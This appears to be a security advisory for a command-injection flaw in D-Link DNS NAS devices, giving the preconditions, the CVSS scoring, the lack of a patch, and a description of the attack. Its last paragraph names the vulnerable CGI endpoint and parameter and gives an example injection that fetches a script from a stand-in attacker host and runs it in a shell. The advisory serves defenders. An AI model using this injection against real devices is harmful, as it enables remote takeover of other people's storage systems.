D-Link DNS NAS CVE-2026-82689

Exploitation requires a valid low-privilege account on the target NAS device - authentication to the web interface is a prerequisite, as confirmed by the CVSS 4.0 PR:L metric. The ISO Image Handler component (/cgi-bin/isomount_mgr.cgi) must be accessible, which is the default state on affected firmware. Network access to the NAS management interface (typically HTTP/HTTPS on port 80/443) is required (AV:N). Limiting factors: authentication is required (PR:L), preventing fully unauthenticated exploitation; however, SOHO NAS devices frequently ship with weak default credentials or enabled guest accounts, which substantially reduces this barrier in practice. No special non-default configuration is required beyond having an account on the device.

The aggregate risk is high for any organization or individual with these devices network-exposed. The CVSS 4.0 base score is 8.6 (reduced from a higher base by the E:P exploit maturity modifier indicating a public PoC but not confirmed in-the-wild mass exploitation). The attack vector is network (AV:N) with low complexity (AC:L) and low privileges required (PR:L) - an attacker needs only a valid low-privilege account, which on many SOHO NAS devices may be trivially obtained via default credentials or guest access. No CISA KEV listing is present, meaning confirmed active exploitation has not been formally documented at time of analysis; however, the availability of a public PoC substantially increases the likelihood of opportunistic exploitation. EPSS data is absent from the provided intelligence. The absence of a vendor patch is the most critical compounding factor: these are legacy consumer NAS devices D-Link has a documented pattern of not patching. Real-world risk is elevated for internet-facing deployments; isolated LAN-only devices with strong access controls face meaningfully lower risk.

An attacker with a low-privilege account on the NAS - obtained via default credentials, a guest share account, or brute force - sends a crafted HTTP POST request to /cgi-bin/isomount_mgr.cgi with a malicious upIsoRootPath value containing shell metacharacters (e.g., ; whoami; curl attacker.com/shell.sh | sh). The CGI handler passes this unsanitized string to an OS shell call, executing attacker-controlled commands with the privileges of the web server process (typically root on embedded NAS firmware). A public proof-of-concept documenting this exact technique is available on GitHub.